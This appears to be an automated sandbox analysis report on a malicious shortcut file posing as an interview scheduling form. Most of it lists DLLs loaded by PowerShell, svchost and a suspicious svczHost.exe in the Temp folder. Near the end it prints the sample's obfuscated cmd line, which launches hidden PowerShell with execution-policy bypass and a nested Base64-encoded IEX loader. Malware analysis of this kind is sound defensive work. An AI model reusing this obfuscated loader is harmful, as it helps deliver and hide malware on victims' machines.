Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntshrui.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cscapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: taskflowdataengine.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cdp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mshtml.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msiso.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: icu.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winhttp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: mswsock.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: wshunix.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: winrnr.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: nlaapi.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: wshbth.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: devobj.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: napinsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\svczHost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Jump to behavior

Source: Online Interview Scheduling Form.lnk

Static file information: File size 31457280 > 1048576

Source:	Binary string: \?\C:\Windows\mscli.pdb source: powershell.exe, 00000010.00000002.3321545865.0000012C37102000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: .pdby source: powershell.exe, 00000010.00000002.3321545865.0000012C37102000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: stem.Management.Automation.pdb source: powershell.exe, 0000000A.00000002.2372282434.000001CE1A133000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ws\mscorlib.pdbpdblib.pdb\S source: powershell.exe, 0000000A.00000002.2372282434.000001CE1A133000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000010.00000002.3321545865.0000012C37102000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ib.pdbpdblib.pdb source: powershell.exe, 00000010.00000002.3315389140.0000012C36DFC000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String("WVd3NlNFNUpRVVJIVDA5SFJ5QXJQU0FpTFMwdExTMHRMUzB0TFNJN0RRb2dJQ0FnSUNBZ0lIUnllUTBLSUNBZ0lDQWdJQ0I3RFFvZ0lDQWdJQ0FnSUNBZ0lDQWtZbTlrZVNBOUlDUm5iRzlpWVd3NlNFNUpRVVJIVDA5SFJ5QjhJRU52Ym5abG

Obfuscated command line found

Source: unknown

Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /v /k "St^art /mIn "" pow^er^S^H^Ell -n^Ol^o^go -NO^P -e^p B^y^P^ass -EN^CO^De^d^cOM^MA^nd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAVABnAEIARABBAEcAOABBAFoAQQBCAEoAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBGAEEASABRAEEAVQB3AEIAVQBBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcANABBAFkAZwBCAFkAQQBGAEkAQQBhAEEAQgBhAEEARABJAEEAVgBnAEIAMQBBAEYAawBBAE0AdwBCAHIAQQBIAFUAQQBZAGcAQQB5AEEARABVAEEAYwB3AEIAaABBAEYAYwBBAE4AUQBCAHMAQQBFAHcAQQBlAGcAQgBDAEEARQBVAEEAWQBRAEEAegBBAEcAOABBAE0AdwBCAGkAQQBHAGMAQQBQAFEAQQA5AEEAQwBJAEEASwBRAEEAcABBAEMAawBBAEsAUQBBAHUAQQBFAE0AQQBUAHcAQgBPAEEASABRAEEAWgBRAEIATwBBAEgAUQBBAEsAUQBBAHAAQQBBAD0APQAiAA=="" && exit

PowerShell case anomaly found

